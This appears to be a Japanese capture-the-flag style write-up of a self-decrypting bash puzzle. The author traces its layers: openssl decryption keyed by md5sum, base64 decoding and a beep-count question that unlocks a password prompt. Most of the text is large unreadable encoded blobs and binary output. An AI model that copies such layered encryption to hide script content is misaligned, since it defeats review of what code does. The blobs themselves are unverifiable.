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
++ cut -c2,3,5,12
++ md5sum
++ echo -n 1
+ openssl aes-256-cbc -d -pass pass:4c49 -md md5
bash: line 1: syntax error near unexpected token `)'
bash: line 1: `J�e�<�%4�?�q!�l�dN��ƕ�*�[Z��p��u#v��㼗u��y�h���tz&�Jhxˣq�<��I:�n)';�������B<�z�����cy*������ �k@у�%PX~��)SBk�,Wغ%pc��D�E�����:���p��_kp��.l�B2<���ܹ{���ÃB�X��_�x{����~�$�8h���Qѳzұ�S�
                                                                                                                                                                                                   ��*.�S���yaACw�0V�C8ۅ?��t`Ñf�ѓD�����v��@
            C�#+9�0�c�'�}��H�`[�*�%��y����՜����j���]���8��F��1w盾O@)QN�B�!�4>L�vƋ*DCE;׼�OhF��tGgp�%ئ�ό-߼6j�]e'I���n���e�UsF+�'_�Br��ԕ��M���.��JR�ImȾ���oD�3�t���rh���&D�2�v8c���(l�k���b����]��o�
                                                                                                                                                                                                 �e�Pu���T\i���v7�������ݵ��������$C�ل��ׂ��/%�`���Oo�5�c:t�����W���k\�������
                                    X
                                     �*�Re��<���n��q[�Lԯ�����m�����T���Q'9X(���^}��ٍiGd���"p
                                                                                           ��6��(�V�� V��b�E*����c"`� nr��uR\�r����s��Y�#6�o[
                                                                                                                                             �@�^F���]��t��n��Ř��2b�*!��[Ţ�K���/��_5u���D��?��v^�?Y�����*.�WF�(82��|>0����    ck����W�z���·�qKɘ�h�0���-�0);�Ff�l߅l�?   ��%�&0p]
����a��UX#vü'

base64っぽい文字列をechoしている処理があるので、デコードしてみます。 3回sleepが呼ばれているようです。

$ echo ZWNobyAtbmUgJ1xhJztzbGVlcCAxO2VjaG8gLW5lICdcYSc7c2xlZXAgMTtlY2hvIC1uZSAnXGEnO3NsZWVwIDE7ZWNobyAiSG93IG1hbnkgYmVlcHM/IjsK | base64 -d
echo -ne '\a';sleep 1;echo -ne '\a';sleep 1;echo -ne '\a';sleep 1;echo "How many beeps?";

3と回答すると、正しく復号され、新たなスクリプトが実行されたようです。 Enter the password と表示されました。

How many beeps?
+ read n
3
+ export n
+ bash
+ base64 -d
+ echo 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